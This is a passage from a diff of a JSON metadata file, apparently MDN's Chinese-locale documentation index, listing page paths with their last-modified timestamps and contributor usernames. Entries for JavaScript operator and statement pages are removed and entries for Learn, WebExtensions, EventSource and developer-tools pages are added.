"TiaossuP", - "WeRDyin", - "panhezeng", - "jiahui", - "pjsong", - "zilong-thu", - "lunix01", - "ziyunfei", - "fskuok" + "driftingdream" ] }, - "Web/JavaScript/Reference/Operators/Division": { - "modified": "2020-10-18T03:29:08.158Z", + "Learn/JavaScript/Asynchronous/Async_await": { + "modified": "2020-12-08T06:58:32.883Z", "contributors": [ - "MapMaths", - "laampui" + "byrde", + "woniuxingdong", + "qwei", + "plainnany", + "jakio6", + "awarmy", + "cochn", + "wangfangping" ] }, - "Web/JavaScript/Reference/Operators/Division_assignment": { - "modified": "2020-10-15T22:34:21.674Z", + "Learn/JavaScript/Asynchronous/Choosing_the_right_approach": { + "modified": "2020-12-08T07:27:41.218Z", "contributors": [ - "laampui" + "byrde", + "icetea_cover", + "rubyKC", + "shangruitong", + "PYGC", + "wangfangping", + "tjls" ] }, - "Web/JavaScript/Reference/Operators/Exponentiation": { - "modified": "2020-10-18T04:06:14.289Z", + "Learn/JavaScript/Asynchronous": { + "modified": "2020-07-16T22:33:15.541Z", "contributors": [ - "MapMaths", - "xeunglay", - "laampui" + "yuqing521", + "alice201601", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Exponentiation_assignment": { - "modified": "2020-10-15T22:34:25.557Z", + "Learn/JavaScript/Asynchronous/Promises": { + "modified": "2020-12-08T05:22:09.292Z", "contributors": [ - "laampui" + "byrde", + "You2er", + "hidoos", + "mizhon", + "haoawen", + "PYGC", + "masterZSH", + "wangfangping", + "kafm", + "zijieee" ] }, - "Web/JavaScript/Reference/Operators/Greater_than": { - "modified": "2020-10-15T22:32:32.486Z", + "Learn/JavaScript/Asynchronous/Concepts": { + "modified": "2020-07-16T22:33:29.726Z", "contributors": [ - "jarirliu" + "alice201601", + "grape", + "HermitSun", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Greater_than_or_equal": { - "modified": "2020-10-15T22:32:26.171Z", + "Learn/JavaScript/Asynchronous/Introducing": { + "modified": "2020-12-09T00:17:16.227Z", "contributors": [ - "ziyunfei", - "shishana" + "hidoos", + "iroywang", + "Hermedius", + "Xugen-Ma", + "alice201601", + "grape", + "Kavelaa", + "gqbre", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Grouping": { - "modified": "2020-10-15T21:32:23.898Z", + "Learn/JavaScript/Asynchronous/Timeouts_and_intervals": { + "modified": "2020-08-14T06:09:20.310Z", "contributors": [ - "RainSlide", - "Idealist_EZ", - "zhangchen", - "yenshen" + "Pada", + "You2er", + "WinterCicada", + "zhangbig0", + "mizhon", + "yuqing521", + "Alendia", + "grape", + "wangfangping", + "puddlejumper26", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Increment": { - "modified": "2020-11-14T04:00:24.472Z", + "Learn/Performance/perceived_performance": { + "modified": "2020-07-16T22:40:43.760Z", "contributors": [ - "seanhuai", - "xgqfrms" + "biqing" ] }, - "Web/JavaScript/Reference/Operators/Inequality": { - "modified": "2020-10-18T04:16:16.608Z", + "Learn/Server-side/Django/Home_page": { + "modified": "2020-07-16T22:37:11.997Z", "contributors": [ - "MapMaths", - "YeahPotato" + "feko", + "mojiangyuan", + "colin3dmax", + "floodwater", + "xixilog", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Operators/Left_shift": { - "modified": "2020-10-15T22:34:24.967Z", + "Learn/Server-side/Django/development_environment": { + "modified": "2020-10-06T10:08:45.805Z", "contributors": [ - "laampui" + "kuailekai", + "silentpanda97", + "Adrian-Yan", + "q2937711", + "xixilog", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Operators/Left_shift_assignment": { - "modified": "2020-10-15T22:34:28.331Z", + "Learn/Server-side/Django/Admin_site": { + "modified": "2020-07-16T22:37:06.131Z", "contributors": [ - "laampui" + "Jeffxzj", + "wangfangping", + "colin3dmax", + "indv-zhu", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Operators/Less_than": { - "modified": "2020-10-15T22:34:22.220Z", + "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction": { + "modified": "2020-11-19T04:46:02.957Z", "contributors": [ - "laampui" + "514059172", + "You2er", + "risejl" ] }, - "Web/JavaScript/Reference/Operators/Less_than_or_equal": { - "modified": "2020-10-15T22:32:26.501Z", + "Learn/Tools_and_testing/Cross_browser_testing/Accessibility": { + "modified": "2020-07-16T22:39:17.935Z", "contributors": [ - "shishana" + "freejack811", + "Sc0tt" ] }, - "Web/JavaScript/Reference/Operators/Logical_AND_assignment": { - "modified": "2020-10-15T22:34:22.943Z", + "Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies": { + "modified": "2020-07-16T22:39:08.099Z", "contributors": [ - "laampui" + "wangfangping", + "YaoLIII", + "ty4z2008" ] }, - "Web/JavaScript/Reference/Operators/Logical_NOT": { - "modified": "2020-10-15T22:34:26.449Z", + "Glossary/Localization": { + "modified": "2019-03-23T23:33:42.693Z", "contributors": [ - "laampui" + "xcffl" ] }, - "Web/JavaScript/Reference/Operators/Logical_OR": { - "modified": "2020-10-15T22:34:22.730Z", + "MDN/At_ten": { + "modified": "2019-03-23T22:50:02.795Z", "contributors": [ - "laampui" + "FlyingPig", + "cughudson_1", + "WarriorWu" ] }, - "Web/JavaScript/Reference/Operators/Logical_OR_assignment": { - "modified": "2020-10-15T22:34:21.861Z", + "orphaned/MDN/Community/Conversations": { + "modified": "2020-04-08T04:56:55.004Z", "contributors": [ - "laampui" + "SirnoChan", + "ewfian", + "Chor", + "wbamberg", + "chaosdog", + "jswisher", + "tanyan2004", + "githubzh123" ] }, - "Web/JavaScript/Reference/Operators/Logical_Operators": { - "modified": "2020-10-15T21:22:11.681Z", + "orphaned/MDN/Community/Doc_sprints": { + "modified": "2019-03-18T20:44:27.614Z", "contributors": [ - "HermitSun", - "git710", "RainSlide", - "withoutmelv", - "SphinxKnight", - "Kaijun", - "fphonor", - "zhangchen", - "YoungChen", - "zhuangyin", - "yenshen", - "teoli", - "MoltBoy" - ] - }, - "Web/JavaScript/Reference/Operators/Logical_nullish_assignment": { - "modified": "2020-10-15T22:33:59.629Z", - "contributors": [ - "JoshOY" + "wbamberg", + "ElliottZheng", + "varcat" ] }, - "Web/JavaScript/Reference/Operators/Multiplication": { - "modified": "2020-10-15T22:34:23.887Z", + "orphaned/MDN/Community": { + "modified": "2020-04-03T05:16:15.416Z", "contributors": [ - "laampui" + "SphinxKnight", + "shiguang", + "wbamberg", + "Planet6174", + "Forbidden", + "ZQH", + "suwenbin", + "maksyuki", + "Ende93", + "shuding", + "yun174long", + "IBuly", + "civilian", + "MofeLee", + "ziyunfei", + "Fiag" ] }, - "Web/JavaScript/Reference/Operators/Multiplication_assignment": { - "modified": "2020-10-15T22:34:26.770Z", + "orphaned/MDN/Community/Whats_happening": { + "modified": "2020-07-16T22:45:19.757Z", "contributors": [ - "laampui" + "brizer", + "wbamberg", + "IannaZhou", + "fanyj1994", + "1986slayer" ] }, - "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": { - "modified": "2020-10-15T22:25:14.991Z", - "contributors": [ - "xgqfrms", - "RainSlide", - "Coink", - "ran" + "orphaned/MDN/Community/Working_in_community": { + "modified": "2020-02-19T18:49:08.850Z", + "contributors": [ + "jswisher", + "wbamberg", + "huangzijian888" ] }, - "Web/JavaScript/Reference/Operators/Object_initializer": { - "modified": "2020-10-15T21:37:33.998Z", + "orphaned/MDN/Contribute/Howto/Create_an_MDN_account": { + "modified": "2020-08-03T02:14:19.507Z", "contributors": [ - "lengjingify", - "zhangchen", - "xgqfrms-GitHub", - "slimeball", - "williamchu123", - "hitme" + "zonghuaj", + "jackleeholmes", + "dwns545", + "kgbook", + "roboterwise", + "wbamberg", + "Disat", + "Zhsirting", + "jiajinning", + "BoothLuo", + "WavinFlag", + "acgpiano", + "1xxxx", + "wth", + "ziyunfei", + "fanziy75" ] }, - "Web/JavaScript/Reference/Operators/Operator_Precedence": { - "modified": "2020-09-26T23:18:03.052Z", + "orphaned/MDN/Contribute/Howto/Do_a_technical_review": { + "modified": "2020-06-06T00:56:15.988Z", "contributors": [ - "taichiyi", - "Linuocc", - "Yang-yibu", - "zsirfs", - "zhangchen", - "ZQH", - "QinZhiNian", - "jianglinjie", - "xhlwill", - "maicss", - "czyin", - "Ende93", - "AlexChao", - "yenshen", - "teoli", - "ziyunfei" + "ice-kylin", + "wbamberg", + "Mr.ma", + "zt19994", + "jianxin-zhang", + "righttoe", + "The-End-Hero", + "pidanhua", + "Roland_Reed", + "majunbao", + "pixiu" ] }, - "Web/JavaScript/Reference/Operators/Property_Accessors": { - "modified": "2020-10-15T21:37:38.990Z", + "orphaned/MDN/Contribute/Howto/Do_an_editorial_review": { + "modified": "2020-02-24T12:04:57.900Z", "contributors": [ - "RainSlide", - "zhangchen", - "isLishude", - "xiaojunzhou", + "zhanglolo", + "IFVFORNONE", + "SphinxKnight", + "YUYUEy", + "chrislung", + "Azurak", + "wbamberg", + "quainter", + "Katherina-Miao", + "ucev", + "liujinyu", + "faremax", + "nanflower", + "YFM-getA", + "LiuTong", + "Martin.Chow", + "MMOnster", "lunix01" ] }, - "Web/JavaScript/Reference/Operators/Remainder_assignment": { - "modified": "2020-10-15T22:34:27.144Z", + "orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page": { + "modified": "2019-10-29T05:37:01.880Z", "contributors": [ - "laampui" + "7NZ", + "Socheny", + "zhangdonglei", + "wbamberg", + "WeJie", + "Schr0dinger", + "itao1314", + "52yang", + "ivanberry", + "ziyunfei", + "Inceng", + "salmon8881", + "zzhi", + "Minnie", + "Yanzhu.Yin" ] }, - "Web/JavaScript/Reference/Operators/Right_shift": { - "modified": "2020-11-02T06:18:13.407Z", + "orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages": { + "modified": "2019-01-16T21:47:16.976Z", "contributors": [ - "Boswell", - "laampui" + "wbamberg", + "Gale", + "BiGrEgGaErOoTs", + "joke", + "Ahkari", + "ziyunfei", + "lushunming" ] }, - "Web/JavaScript/Reference/Operators/Right_shift_assignment": { - "modified": "2020-10-15T22:34:28.606Z", + "orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": { + "modified": "2020-09-06T02:30:17.183Z", "contributors": [ - "laampui" + "Cheese-Chip", + "SuiltaPico", + "gu_qing", + "Azurak", + "wbamberg", + "liminjun" ] }, - "Web/JavaScript/Reference/Operators/Spread_syntax": { - "modified": "2020-11-26T05:06:49.056Z", + "MDN/Contribute/Howto/Add_or_update_browser_compatibility_data": { + "modified": "2019-03-18T21:38:16.029Z", "contributors": [ - "superchow", - "NorthWind", - "renfufei", - "fanjieqi", - "kczjczhYue", - "zhangchen", - "maoguojun" + "wbamberg", + "kite-js" ] }, - "Web/JavaScript/Reference/Operators/Strict_equality": { - "modified": "2020-10-15T22:34:20.707Z", + "MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web": { + "modified": "2019-03-18T21:43:40.910Z", "contributors": [ - "LydiaYuan" + "wbamberg", + "ZweiZhao" ] }, - "Web/JavaScript/Reference/Operators/Strict_inequality": { - "modified": "2020-10-15T22:31:52.866Z", + "orphaned/MDN/Contribute/Howto/Be_a_beta_tester": { + "modified": "2019-03-23T22:10:34.334Z", "contributors": [ - "yemao", - "milulelele" + "fengchunsgit", + "wbamberg", + "fbambi", + "sunnysabor" ] }, - "Web/JavaScript/Reference/Operators/Subtraction": { - "modified": "2020-10-15T22:34:24.192Z", + "orphaned/MDN/Editor/Basics": { + "modified": "2020-09-30T15:44:25.432Z", "contributors": [ - "laampui" + "chrisdavidmills", + "zhangqiangoffice", + "Jeane", + "yy1107", + "world521", + "q1560760" ] }, - "Web/JavaScript/Reference/Operators/Subtraction_assignment": { - "modified": "2020-10-15T22:34:27.258Z", + "orphaned/MDN/Editor/Basics/Page_controls": { + "modified": "2020-09-30T15:44:25.715Z", "contributors": [ - "laampui" + "chrisdavidmills", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/Unary_negation": { - "modified": "2020-10-15T22:34:23.921Z", + "orphaned/MDN/Editor/Basics/Page_info": { + "modified": "2020-09-30T15:44:25.570Z", "contributors": [ - "laampui" + "chrisdavidmills", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/Unary_plus": { - "modified": "2020-10-15T22:34:22.724Z", + "orphaned/MDN/Editor/Keyboard_shortcuts": { + "modified": "2020-09-30T15:44:25.913Z", "contributors": [ - "laampui" + "chrisdavidmills", + "RainSlide", + "yuan81777", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/Unsigned_right_shift": { - "modified": "2020-10-15T22:34:23.607Z", + "orphaned/MDN/Editor": { + "modified": "2020-09-30T15:44:25.503Z", "contributors": [ - "laampui" + "chrisdavidmills", + "thouen", + "woniuxingdong", + "TeabugCC", + "yuan81777", + "zhangqiangoffice", + "xjr7670", + "Y.Young", + "ChuckZhang", + "mona", + "jiahui", + "Roland_Reed", + "JoshuaLee", + "GeoffreyQ", + "sunxiang", + "OlingCat", + "Meteormatt" ] }, - "Web/JavaScript/Reference/Operators/Unsigned_right_shift_assignment": { - "modified": "2020-10-15T22:34:24.975Z", + "orphaned/MDN/Editor/Source_mode": { + "modified": "2020-09-30T15:44:26.291Z", "contributors": [ - "laampui" + "chrisdavidmills", + "SirnoChan", + "yinsang", + "woniuxingdong", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数": { - "modified": "2020-10-15T21:51:08.469Z", + "MDN/Guidelines/Does_this_belong_on_MDN": { + "modified": "2020-09-30T15:32:46.957Z", "contributors": [ - "Terry.Qiao", - "fphonor", - "xgqfrms-GitHub", - "x-cold", - "Rusion-Wayne" + "chrisdavidmills", + "wbamberg", + "zccz14" ] }, - "Web/JavaScript/Reference/Operators/await": { - "modified": "2020-08-15T05:29:31.365Z", + "MDN/Guidelines/Writing_style_guide": { + "modified": "2020-11-14T07:38:19.734Z", "contributors": [ - "zzzimaple", - "shifenjiandan", - "Syclover-u2400", - "chang-shuai", - "i850", - "shhider", - "xgqfrms-GitHub", - "chenlexing", - "x-cold", - "liuqipeng417" + "kuailekai", + "chrisdavidmills", + "jswisher", + "wbamberg", + "codeofjackie", + "Dousy", + "Terry.Qiao", + "jianxin-zhang", + "DennisWang", + "suncn", + "WynnChen", + "zmh_w", + "OlingCat" ] }, - "Web/JavaScript/Reference/Operators/class": { - "modified": "2020-10-15T21:37:37.172Z", + "MDN/Yari": { + "modified": "2019-09-09T15:54:47.389Z", "contributors": [ - "Peidong_Xie", - "fscholz", - "xgqfrms-GitHub", - "zyq930501", - "ziyunfei", - "sartrey", - "lunix01" + "SphinxKnight", + "RainSlide", + "yuan81777", + "Chor", + "wbamberg", + "myshell1983", + "popcorner", + "Jack-Q", + "xgqfrms" ] }, - "Web/JavaScript/Reference/Operators/delete": { - "modified": "2020-10-15T21:07:30.470Z", + "orphaned/MDN/Structures/Live_samples/Simple_live_sample_demo": { + "modified": "2020-09-30T12:57:47.049Z", "contributors": [ - "zcdll", - "wallena3", - "zhangchen", - "wendy260310", - "yaksha", - "pyz1989", - "Vincent-yz", - "ucev", - "jamesfancy", - "ZackBee", - "lazybusy", - "Ende93", - "xgqfrms-GitHub", - "xwartz", - "AlexChao", - "ziyunfei", - "teoli" + "chrisdavidmills", + "wbamberg", + "Howard.Chen" ] }, - "Web/JavaScript/Reference/Operators/function": { - "modified": "2020-03-12T19:39:30.038Z", + "MDN/Structures/Macros/Commonly-used_macros": { + "modified": "2020-10-06T09:20:15.609Z", "contributors": [ - "inlics", - "LJJ1996", - "ucev", - "zhuangyin", - "ryanlid", - "xgqfrms-GitHub", - "Ende93", - "AlexChao", - "SphinxKnight", - "nightire" + "phone-burner", + "chrisdavidmills", + "wbamberg", + "teoli", + "fscholz", + "xhlsrj", + "FredWe" ] }, - "Web/JavaScript/Reference/Operators/function*": { - "modified": "2020-10-15T21:37:40.102Z", + "Mozilla/Add-ons/WebExtensions/API/menus": { + "modified": "2020-10-15T21:54:13.449Z", "contributors": [ - "HCSkatana", - "zhangchen", - "chenyeah", - "ShupingLiu", - "ooops", - "lunix01" + "miracleXL", + "yangwang", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Operators/in": { - "modified": "2020-10-15T21:21:37.099Z", + "Mozilla/Add-ons/WebExtensions/API/devtools/inspectedWindow": { + "modified": "2020-10-15T22:13:56.821Z", "contributors": [ - "zhuangyin", - "zhangchen", - "lemonsWen", - "kameii", - "zachary05", - "AlexChao", - "SphinxKnight", - "teoli", - "ziyunfei" + "wbamberg", + "ClassJm" ] }, - "Web/JavaScript/Reference/Operators/instanceof": { - "modified": "2020-12-10T01:21:18.307Z", + "Mozilla/Add-ons/WebExtensions/API/tabs/query": { + "modified": "2020-11-25T05:15:24.039Z", "contributors": [ - "xingzhewj", - "Lsnsh", - "kidonng", - "chenzhh", - "helloyong", - "zhangchen", - "LJJ1996", - "Minhow.liu", - "zhuangyin", - "xgqfrms-GitHub", - "ReedSun", - "liudanning", - "xgqfrms", - "SamuraiMe", - "jonkee", - "suffering", - "Ende93", - "jetzhliu", - "floraLam", - "tiansh", - "AlexChao", - "ziyunfei", - "teoli" + "qzwvinner" ] }, - "Web/JavaScript/Reference/Operators/new": { - "modified": "2020-10-15T21:30:30.354Z", + "Mozilla/Add-ons/WebExtensions/API/clipboard": { + "modified": "2020-10-15T22:15:08.385Z", "contributors": [ - "HermitSun", - "lmx-Hexagram", - "wuwensheng1992", "RainSlide", - "toyflivver", - "nanyang24", - "Akiq2016", - "zhangchen", - "btea", - "zhuangyin", - "TroyMa1990", - "xgqfrms-GitHub", - "pokka", - "ruiM92", - "Ke.shidong", - "yangzi", - "yenshen", - "fskuok", - "jiacai2050", - "fphonor", - "SphinxKnight", - "TomWan" + "faliye", + "gentop" ] }, - "Web/JavaScript/Reference/Operators/new.target": { - "modified": "2020-10-15T21:39:57.852Z", + "Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData": { + "modified": "2020-10-15T22:15:17.586Z", "contributors": [ - "RoXoM", - "jafck", - "zhangchen", - "sunhengzhe", - "ngtmuzi", - "ccnuzindex" + "RainSlide", + "faliye" ] }, - "Web/JavaScript/Reference/Operators/super": { - "modified": "2020-10-15T21:34:14.337Z", + "Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url": { + "modified": "2020-10-15T21:51:31.504Z", "contributors": [ - "jackyqin", - "t.ccydlj", - "woshiqiang1", - "hikigaya58", - "KennyWho", - "Yayure", - "wangmiJM", - "zhangchen", - "xgqfrms-GitHub", - "lvjs", - "saintwinkle" + "RainSlide", + "fscholz", + "1010Tech", + "Hypophrenia" ] }, - "Web/JavaScript/Reference/Operators/this": { - "modified": "2020-10-15T21:24:16.968Z", + "orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension": { + "modified": "2019-03-18T21:08:06.832Z", "contributors": [ - "Clarkkkk", - "imbant", - "laampui", - "ldsyzjb", - "aaaxiu", - "frankchia", - "usernameisMan", - "Xuemuyang", - "luoxzhg", - "Akiq2016", - "secretmadonna", - "zhangchen", - "jasonwithjs", - "rollinhup", - "anderson_liu", - "KngZhi", - "xgqfrms-GitHub", - "JJPandari", - "07akioni", - "Cmen", - "bodii", - "Ende93", - "eric183", - "floraLam", - "teoli", - "haodut", - "zhanglun", - "jaka", - "JinZheng", - "DaoG" + "PaperFlu", + "yfdyh000" ] }, - "Web/JavaScript/Reference/Operators/typeof": { - "modified": "2020-11-25T06:03:35.454Z", + "orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_": { + "modified": "2019-03-18T21:06:37.903Z", "contributors": [ - "zhuangyin", - "AidanDai", - "kidonng", - "levo2165", - "zhangchen", - "huangtt", - "Crazycheng", - "DarkYeahs", - "Bitzo", - "bengfor", - "xgqfrms", - "zachary05", - "auver", - "yufeng", - "AlexChao", - "teoli", - "ziyunfei", - "ethertank" + "abcfyk", + "Smartree", + "taadis" ] }, - "Web/JavaScript/Reference/Operators/void": { - "modified": "2020-10-15T21:30:34.673Z", + "Mozilla/Add-ons/WebExtensions/user_interface/Sidebars": { + "modified": "2019-03-18T21:02:29.279Z", "contributors": [ - "seiry", - "Yidada", - "zhangchen", - "xycd", - "xgqfrms-GitHub", - "Ende93", - "lunix01", - "yenshen", - "ziyunfei", - "AlexChao", - "SphinxKnight", - "parano" + "dfchong" ] }, - "Web/JavaScript/Reference/Operators/yield": { - "modified": "2020-10-15T21:26:10.731Z", + "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": { + "modified": "2019-09-08T06:17:56.666Z", "contributors": [ - "RedemptioM", - "Yongest", - "Usey95", - "zhangchen", - "lfy55", - "xgqfrms-GitHub", - "AlexChao", - "mountainmoon", - "teoli", - "lpy" + "Bonlin0", + "ZowieGong", + "LuminousXLB", + "Gszekt", + "boser90", + "yydzxz", + "lightsing", + "CXWorks", + "GrayLight", + "yfdyh000" ] }, - "Web/JavaScript/Reference/Operators/yield*": { - "modified": "2020-10-15T21:32:40.952Z", + "Mozilla/Add-ons/WebExtensions/Implement_a_settings_page": { + "modified": "2019-09-14T23:46:00.166Z", "contributors": [ - "zhangchen", - "xgqfrms-GitHub", - "ccn1010", - "ziyunfei", - "Liyunsheng" + "ivysrono", + "xcffl", + "Hypophrenia" ] }, - "Web/JavaScript/Reference/Operators/取余": { - "modified": "2020-10-15T22:30:57.453Z", + "Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension": { + "modified": "2020-09-17T09:25:04.236Z", "contributors": [ - "parabolazz" + "kingcc", + "Daryl.Xu" ] }, - "Web/JavaScript/Reference/Operators/可选链": { - "modified": "2020-11-05T00:32:59.486Z", + "orphaned/Mozilla/Mozilla_Persona": { + "modified": "2019-03-23T23:09:24.663Z", "contributors": [ - "MinimalistYing", - "xgqfrms", - "RainSlide", - "zhangchen", - "Coink", - "daolanfler", - "lmislm", - "Ende93", - "wsv587" + "world521" ] }, - "Web/JavaScript/Reference/Operators/按位与": { - "modified": "2020-10-15T22:33:57.582Z", + "conflicting/Web/HTML/Quirks_Mode_and_Standards_Mode": { + "modified": "2019-03-24T00:17:27.134Z", "contributors": [ - "hellorayza" + "OoOoOoOo", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Operators/相加": { - "modified": "2020-10-15T22:31:36.619Z", + "Web/API/EventSource/close": { + "modified": "2019-03-23T22:09:23.731Z", "contributors": [ - "lws123321", - "Spengh" + "Char-Ten" ] }, - "Web/JavaScript/Reference/Operators/相等": { - "modified": "2020-10-28T03:33:52.196Z", + "Web/API/EventSource/EventSource": { + "modified": "2019-08-07T05:55:13.404Z", "contributors": [ - "SphinxKnight", - "thefirst-ma", - "zhangchen", - "lujing2", - "milulelele" + "ZZES_REN", + "kameii" ] }, - "Web/JavaScript/Reference/Operators/管道操作符": { - "modified": "2020-10-15T21:59:15.552Z", + "Web/API/EventSource": { + "modified": "2020-10-15T21:21:30.406Z", "contributors": [ + "into-piece", "RainSlide", - "fsy0718", - "zhangchen", - "qdlaoyao", - "fphonor" - ] - }, - "Web/JavaScript/Reference/Operators/自减": { - "modified": "2020-10-15T22:33:30.374Z", - "contributors": [ - "helsmy" + "Jack.Works", + "xlaoyu", + "xgqfrms-GitHub", + "kameii", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Operators/逻辑和": { - "modified": "2020-10-15T22:32:55.133Z", + "Web/API/EventSource/onerror": { + "modified": "2019-03-23T22:09:23.181Z", "contributors": [ - "matsongajapan" + "Char-Ten" ] }, - "Web/JavaScript/Reference/Reserved_words": { - "modified": "2019-03-23T23:46:04.954Z", + "Web/API/EventSource/onopen": { + "modified": "2019-03-23T22:16:16.621Z", "contributors": [ - "fangnanjun", - "Haichao", - "teoli", - "Mickeyboy" + "kameii" ] }, - "Web/JavaScript/Reference/Statements": { - "modified": "2020-11-19T11:54:21.852Z", + "Web/API/Server-sent_events": { + "modified": "2020-03-04T10:52:34.764Z", "contributors": [ - "xgqfrms", - "wwj402", + "femaimi", "RainSlide", - "victor0801x", - "yenshen", - "Ende93", - "webery", - "ziyunfei", - "teoli" + "act262", + "raju_dasa" ] }, - "Web/JavaScript/Reference/Statements/Empty": { - "modified": "2020-10-15T21:32:25.866Z", + "Web/API/Server-sent_events/Using_server-sent_events": { + "modified": "2020-10-15T21:21:32.267Z", "contributors": [ - "zhangchen", - "Hugh", - "git123hub", - "yenshen" + "kagurakana", + "mkckr0", + "xgqfrms-GitHub", + "jamemark", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/async_function": { - "modified": "2020-11-26T06:15:48.712Z", + "Mozilla/Firefox/Releases/19/Site_compatibility": { + "modified": "2019-01-16T17:00:07.852Z", "contributors": [ - "superchow", - "Neo42", - "zhangxingeng", - "Irisa", - "brizer", - "icethawless", - "rockan007", - "AppleTenlp", - "gqbre", - "elkfn", - "Hew007", - "Ende93", - "YKG", - "42", - "murphywuwu", - "ntnyq", - "jaredhan418", - "TriStone", - "lmislm", - "toyflivver", - "dudueasy", - "NiroDu", - "awmleer", - "mysmlz", - "Bill0412", - "Jessy.D.", - "zxsunrise", - "pujiaxun", - "biggersun", - "Jiang-Xuan", - "pot-code", - "ofatbird", - "shhider", - "zhangchen", - "xgqfrms-GitHub", - "_da", - "Katherina-Miao" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/block": { - "modified": "2020-11-26T06:25:49.649Z", + "Mozilla/Firefox/Releases/21/Site_compatibility": { + "modified": "2019-01-16T17:20:04.063Z", "contributors": [ - "cikelichu", - "daxiazilong", - "ywjco", - "zhangchen", - "icepro", - "Canaan", - "frankfang1990", - "Cattla", - "yenshen" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/break": { - "modified": "2020-11-26T22:14:31.749Z", + "Mozilla/Firefox/Releases/23/Site_compatibility": { + "modified": "2019-01-16T17:27:23.228Z", "contributors": [ - "superchow", - "zhangchen", - "git123hub", - "Poisonloc", - "AlexChao" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/class": { - "modified": "2020-10-15T21:40:52.749Z", + "Mozilla/Firefox/Releases/24/Site_compatibility": { + "modified": "2019-01-16T17:27:30.001Z", "contributors": [ - "zhangchen", - "LiXin", - "xgqfrms-GitHub", - "AimLuo", - "makebanana", - "ryanlid", - "kdex", - "lixuguang", - "ouonet", - "MrLyp", - "jooyoon", - "webery" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/const": { - "modified": "2020-11-20T09:29:05.867Z", + "orphaned/Web/Specification_list": { + "modified": "2019-03-23T23:31:18.870Z", "contributors": [ - "zhuangyin", - "Snailight", - "niices", - "RainSlide", - "Jat", - "zhangchen", - "winjeysong", - "myl0204", - "xgqfrms-GitHub", - "shifengchen", - "Go7hic", - "zhe13", - "webery", - "lunix01", - "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/continue": { - "modified": "2020-10-15T21:22:29.579Z", + "orphaned/Tools/Add-ons": { + "modified": "2020-07-16T22:36:23.904Z", "contributors": [ - "zhangchen", - "tiansh", - "teoli", - "sunorry" + "wbamberg", + "maicss" ] }, - "Web/JavaScript/Reference/Statements/debugger": { - "modified": "2020-10-15T21:19:13.851Z", + "Tools/3D_View": { + "modified": "2020-07-16T22:34:25.755Z", "contributors": [ - "zhangchen", - "yenshen", - "teoli", + "Gitai", + "wbamberg", "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/default": { - "modified": "2020-10-15T21:40:53.796Z", + "Tools/Page_Inspector/How_to/Edit_fonts": { + "modified": "2020-07-16T22:34:39.361Z", "contributors": [ - "hellokidder", - "zhangchen", - "binguanghe", - "Lukas-LiuYi", - "fscholz" + "wbamberg", + "webery" ] }, - "Web/JavaScript/Reference/Statements/do...while": { - "modified": "2020-10-15T21:32:25.936Z", + "Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE": { + "modified": "2019-03-23T23:02:33.405Z", "contributors": [ - "zhangchen", - "yenshen" + "wbamberg", + "qq18588696841" ] }, - "Web/JavaScript/Reference/Statements/export": { - "modified": "2020-10-31T21:18:02.310Z", + "Tools/Responsive_Design_Mode": { + "modified": "2020-07-16T22:35:22.496Z", "contributors": [ - "wenxiayili", - "panzhh", - "brizer", - "Casseil-1996", - "zhouxyy", - "symant233", - "Asuka109", - "hanalice", - "narutojian", - "ThisIszas", - "GentleGong", - "woniuxingdong", - "TeabugCC", - "yinpeng123", - "RainSlide", - "xgqfrms", - "wossig", - "zarvin", - "TimmyKingFree", - "zhangchen", - "xgqfrms-GitHub", - "Jiang-Xuan", - "Suixinlei", - "nolanlee", - "sartrey", - "jianyi1995" + "wbamberg", + "Meteormatt", + "maybe", + "ziyunfei", + "dannyxu" ] }, - "Web/JavaScript/Reference/Statements/for": { - "modified": "2020-10-15T21:38:44.431Z", + "Tools/Web_Audio_Editor": { + "modified": "2020-07-16T22:36:08.958Z", "contributors": [ - "RainSlide", - "yy7054wyq5", - "zhangchen", - "IShinji", - "yenshen", - "oscar1980", - "gaigeshen" + "wbamberg", + "ab233", + "DorayHong" ] }, - "Web/JavaScript/Reference/Statements/for-await...of": { - "modified": "2020-11-19T13:54:59.528Z", + "Tools/Deprecated_tools": { + "modified": "2020-07-16T22:36:40.884Z", "contributors": [ - "xgqfrms", - "jingkaimori", - "AozakiOrenji", - "Ende93", - "SphinxKnight", - "mrdulin", - "WangXiaoyu", - "thereAnana" + "GMMG55" ] }, - "Web/JavaScript/Reference/Statements/for...in": { - "modified": "2020-10-15T21:07:57.911Z", + "Tools/Storage_Inspector": { + "modified": "2020-07-16T22:36:10.648Z", "contributors": [ - "lmislm", - 